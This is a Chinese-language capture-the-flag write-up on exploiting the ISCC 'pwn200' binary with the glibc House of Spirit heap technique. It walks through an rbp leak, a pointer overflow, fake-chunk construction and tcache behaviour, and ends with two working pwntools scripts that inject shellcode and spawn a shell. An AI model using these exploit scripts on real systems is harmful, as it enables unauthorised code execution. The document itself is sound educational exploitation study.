House of spirit
House of spirit
0x00 试玩
root@ubuntu20:~/linan# ./pwn200
who are u?
y
y, welcome to ISCC~
give me your id ~~?
1
give me money~
12
=======EASY HOTEL========
1. check in
2. check out
3. goodbye
your choice : 1
already check in
checksec,发现很多防护都没有打开,栈可执行,那就意味着可以在栈上插入shellcode并执行
0x01伪代码分析
1、main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_40079D(a1, a2, a3);
sub_400A8E();
return 0LL;
}
main函数主要有俩个子函数sub_40079D和sub_400A8E
int sub_40079D()
{
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}
sub_40079D这个函数的作用就是清空缓冲区
2、sub_400A8E
主要看sub_400A8E函数
__int64 sub_400A8E()
{
__int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h] BYREF
puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);//读入一个字节的数据
if ( v2[i] == 10 )//判断数组元素为10就置零并跳出循环
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");
sub_4007DF();
return sub_400A29();
}
这里存在off-by-one
漏洞,当连续输入48个不带0x00或者0x0a的字符,并且我们都知道read函数读取字符串的时候不会在末尾加上\x00
。那printf函数在输出的时候,会把v2还有紧邻的上一个函数的rbp值(就是main函数的rbp),一并输出。
注意底下的俩函数 sub_4007DF()、 sub_400A29();
3、sub_4007DF()
int sub_4007DF()
{
int result; // eax
char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
v2 = 0;
for ( i = 0; i <= 3; ++i )
{
read(0, &nptr[i], 1uLL);
if ( nptr[i] == 10 )
{
nptr[i] = 0;
break;
}
if ( nptr[i] > '9' || nptr[i] <= 47 )
{
printf("0x%x ", (unsigned int)nptr[i]);
return 0;
}
}
v2 = atoi(nptr);//注意这里的atoi函数就是把输入的字符串转化为整型。
if ( v2 >= 0 )
result = atoi(nptr);//大于等于0赋给result
else
result = 0;
return result;
}
sub_400A8E()并没有接收函数sub_4007DF()的返回值(result)。我们查看汇编代码
.text:0000000000400A8E sub_400A8E proc near ; CODE XREF: main+1E↓p
.text:0000000000400A8E
.text:0000000000400A8E var_40 = qword ptr -40h
.text:0000000000400A8E var_38 = qword ptr -38h
.text:0000000000400A8E var_30 = byte ptr -30h
.text:0000000000400A8E
...
...
.text:0000000000400B24 ; 18: return sub_400A29();
.text:0000000000400B24 cdqe
.text:0000000000400B26 mov [rbp+var_38], rax
.text:0000000000400B2A mov eax, 0
.text:0000000000400B2F call sub_400A29
.text:0000000000400B34 leave
.text:0000000000400B35 retn
可以看到sub_400A8E()将返回值存到了rbp+var_38的位置,也就是rbp-0x38的位置,因为v2的位置是rbp-0x30,所以这两个位置之间相差了8字节,返回值就存到这,就是存到v2紧邻而下的8个字节。(这里图高地址在上)
4、sub_400A29()
__int64 sub_400A29()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf);
ptr = dest;
return sub_4009C4();
}
这里定义buf数组共56个字节,定义字符指针dest,并且申请40h(64)字节大小的chunk,向buf(56字节)读入40h(64)个字节数据,会读入多8个字节,覆盖后面的内容,就是dest指针,所以存在溢出漏洞。
为什么是dest指针?ida可以查看buf位置是[rbp-40h],dest的位置是[rbp-8h],由此可知这两个变量是紧挨着的,向buf读入的64个字节的数据的后8个字节刚好可以把dest指针覆盖掉。然后会赋值给ptr。
5、sub_4009C4()
int sub_4009C4()
{
int v0; // eax
while ( 1 )
{
while ( 1 )
{
sub_4009AF();
v0 = sub_4007DF();
if ( v0 != 2 )
break;
sub_40096D();
}
if ( v0 == 3 )
break;
if ( v0 == 1 )
sub_4008B7();
else
puts("invalid choice");
}
return puts("good bye~");
}
这是一个菜单函数
先调用sub_4009AF()打印
调用sub_4007DF()接收用户输入的数字
输入为2,调用sub_40096D()
输入为1,调用sub_4008B7()
输入3,退出"good bye~"
6、sub_40096D()
void sub_40096D()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}
ptr,就是之前的dest指针,而dest指针存放的是malloc的返回地址,对ptr进行释放,就是对指向的chunk空间进行释放。注意这里的ptr会被清零
7、sub_4008B7()
int sub_4008B7()
{
int nbytes; // [rsp+Ch] [rbp-4h]
if ( ptr )
return puts("already check in");
puts("how long?");
nbytes = sub_4007DF();
if ( nbytes <= 0 || nbytes > 128 )
return puts("invalid length");
ptr = malloc(nbytes);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes);
return puts("in~");
}
nbytes接收用户输入的数字,申请对应大小的chunk,指针返回给ptr(申请前提是ptr是为空)
接下去输出用户刚刚的输入(nbytes),再把输入读入到ptr指向的chunk去。
程序的逻辑很简单,关键在于如何发现并利用漏洞
0x02 The malloc maleficarum之House of Spirit漏洞
一、The malloc maleficarum的历史由来
从2004年末开始,glibc malloc变得更可靠了。之后,类似unlink的技巧已经废弃,攻击者没有线索。但是在2005年末,Phantasmal Phatasmagoria带来了一些其他技巧,用于成功利用堆溢出
二、The malloc maleficarum的内容
虽然The malloc maleficarum技术最初包含5个内容,但是由于glib 2.23源码的发布,下面有些技术已经废弃了,不能够再使用了
The House of Prime(废弃)
The House of Mind(废弃)
The House of Force
The House of Lore(废弃)
The House of Spirit
三、house of spirit漏洞
house of spirit的利用姿势,关键在于通过glibc malloc来申请一个在堆栈中的块,并且能够覆盖栈中的函数返回地址,返回到shellcode。
实现条件:
- 缓冲区溢出,覆盖指针变量,可以指向在栈中fake chunk的地址
- 可以控制fake chunk的大小
- 可以对fake chunk进行free,free后放入fastbin链中去
- 可以malloc申请到fake chunk,将返回指向目标地址的指针
四、构造fake chunk
绕过free函数的检查
调用free()函数将chunk释放到fastbins时,函数内部会对chunk进行一系列检查,所以伪造第一个fake chunk时,查看free源,看看要满足哪几个条件:
void
public_fREe(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
[...]
p = mem2chunk(mem);
#if HAVE_MMAP
if (chunk_is_mmapped(p)) /*首先M标志位不能被置上1,才能绕过。 */
{
munmap_chunk(p); /*调用munmap_chunk函数释放堆块
return;
}
#endif
ar_ptr = arena_for_chunk(p);
[...]
_int_free(ar_ptr, mem);
void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */
[...]
p = mem2chunk(mem);
size = chunksize(p);
[...]
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) /*其次,size的大小不能超过fastbin的最大值*/
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) /*最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem*/
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
[...]
fb = &(av->fastbins[fastbin_index(size)]);
[...]
p->fd = *fb;
}
1)标志位条件。虽然P标志(PREV_INUSE)并不影响释放释放过程,但是一般情况下设置为1,表示前一个chunk处于使用状态,表示已被分配;
M标志(IS_MAPPED)必须设置为0。假如准备要伪造的第一个fake chunk的尺寸为0x40个字节,则其size字段应该设置为0x41。
首先mmap标志位不能被置上,否则会直接调用munmap_chunk函数去释放堆块。
2)第一个fake chunk的尺寸条件。64位系统上,第一个fake chunk的尺寸要在32~128(0x20-0x80)个字节之间,满足fastbins对chunk尺寸的要求。
3)第二个fake chunk的尺寸条件。64系统上,第二个fake chunk的尺寸,大于 2 * SIZE_SZ
(x64的系统下为16byte),同时小于av->system_mem
(x64的系统下system_mem为128kb)。
0x03 攻击过程:
0x000 泄露main_rbp
-
在输入name的时候,输入shellcode和正常字符凑满48个连续的字符,程序在print的时候会把rbp所指也就是mian_rbp的值一并输出,以此泄露main_rbp。
-
通过调试知道main函数的栈帧大小,以此可以推算出shellcode的地址。同时,将shecllcode作为next chunk,断点就设在字符读入之后,其他函数调用之前,在ida查看要设的具体位置
通过调试可以知道v2此时已经存满48个字符,紧挨着的就是prev_rbp(main_rbp),0x410-0x3f0=0x20,说明main函数的栈帧长度是0x20
0x001 先伪造第二个堆块的size
在0x400B2A处打断点,
当输出give me your id ~~?
输入id为65,就是chunk的size,大小为64,加上标志位1,也就是0x41
这个fake chunk刚好可以把输入的48个字节作为数据部分,返回的指针就是数据的开始,就是0x7fffffffe3c0
0x002伪造第一个fake chunk
函数sub_400A29()在sub_400A8E()里被调用,所以第二个 fake chunk据徐保留在栈中,新栈帧就是sub_400A29的栈帧
先正常操作
在give me money~输出后,正常输入56个字符串,额,好像多了个回车,就这样吧,dest的位置了然
这是输入了64个字符可以看到dest的值已经被覆盖
伪造的第一个chunk,要让它紧挨着第二个chunk,所以经过严密计算,read函数向buf读入0x40字节时,buf有0x20个字节要略过,剩下的0x20和后面部分刚好构成一个大小为0x40的紧邻着第二个fake chunk的fake chunk
两个chunk如下:
进一步详细标明
0x003 此时栈大体的情况
0x004攻击脚本
from pwn import *
#io = remote('0.0.0.0', 10001)
io = process('./pwn200')
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
payload = shellcode.rjust(48, 'A')
io.sendafter("who are u?\n", payload)
io.recvuntil(payload)
main_rbp_addr = u64(io.recvn(6).ljust(8, '\x00'))
log.info("main_rbp address: 0x%x" % main_rbp_addr)
shellcode_addr = main_rbp_addr - 0x20 - len(shellcode)
fake_data_addr = main_rbp_addr - 0x20 - 0x30 - 0x40
log.info("shellcode address: 0x%x" % shellcode_addr)
log.info("fake chunk address: 0x%x" % fake_data_addr)
io.sendlineafter("give me your id ~~?\n", '65') #next.size = 0x41
padding= p64(0) * 4
fake_chunk = p64(0)
fake_chunk += p64(0x41) # fake.size
fake_chunk += p64(0)
fake_chunk += p64(fake_data_addr) # overwrite pointer
io.sendafter("give me money~\n", padding+fake_chunk)
io.sendlineafter("choice : ", '2') # free(fake_addr)
io.sendlineafter("choice : ", '1') # malloc(fake_addr)
io.sendlineafter("long?", '48')
payload = "A" * 0x18
payload += p64(shellcode_addr) # overwrite return address
payload = payload.ljust(48, '\x00')
io.sendafter("48\n", payload)
io.sendlineafter("choice", '3')
io.interactive()
获得shell
0x04 意外收获
当我把攻击脚本第一个fake chunk的位置像上移了0x10个字节,而size域依旧是0x41时。如下
...
fake_data_addr = main_rbp_addr - 0x20 - 0x30 - 0x50
...
fake_chunk += p64(0x41)
按常理上移0x10字节,意味着你的chunk也必须扩大0x10字节,这样才能保证两个chunk是紧邻的状态,才能通过next chunk的检查。
所以当如上我所改,应该是会报错,因为此时的两个chunk相隔了0x10字节,不是紧邻着的状态,free检查机制会检查next chunk的头部不成功就会立马报错。
但是出乎意料的成功
这是什么原因呢?
其实是tcache机制在作怪,我们之前说的check检查是对于放到fastbin的chunk来说的,对tcache就完全不是这么一回事。
tcache机制是在libc-2.26之后被引入的,所以在这之前版本的libc库并不会出现这样的情况。
调试可以明显看到free时chunk是放到tcachebins里面的。
可以翻一下libc-2.26源码,看一下对释放到tcachebins的chunk的检查
在引入tcache机制之后,在__int_free的时候,会先进行tcache检查,只是单纯的判断tcache是否满了7个chunk,没有满的话就直接放进去tcachebins链,然后就直接return ,跳过了后面原先对chunk的检查。
所以这就说明了前面的问题,在这里,引入tcache后,第二个fake chunk的伪造可以说时完全没必要的,直接伪造一个fake chunk就已经够用。
0x05 另一种做法
初始时输入shellcode
, 泄露RBP
,找出Shellcode
地址. 覆盖dest变量值为free@got
, buf
中为shellcode_addr + 其他任意字符
, 最后:输入2
, 执行free
(就是执行我们的shellcode
).
如下是覆盖完成,在调用free之前的栈内状况
攻击脚本
#coding = utf8
from pwn import *
p = process('./pwn200')
elf = ELF('./pwn200')
free_got = elf.got["free"]
p.recvuntil('u?\n')
shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
p.send(shellcode.ljust(48,'a'))
offset = 0x50
p.recvuntil(shellcode.ljust(48,'a'))
rbp=u64(p.recvn(6).ljust(8, '\x00'))
print "rbp = "+hex(rbp)
shellcode_addr = rbp-0x50
print "shellcode_addr = " + hex(shellcode_addr)
p.sendline('0') #id
p.recvuntil('\n')
payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) #the juck data must be '\x00' in the got!
p.recvuntil('choice :')
p.sendline('2')
p.interactive()
拿到shell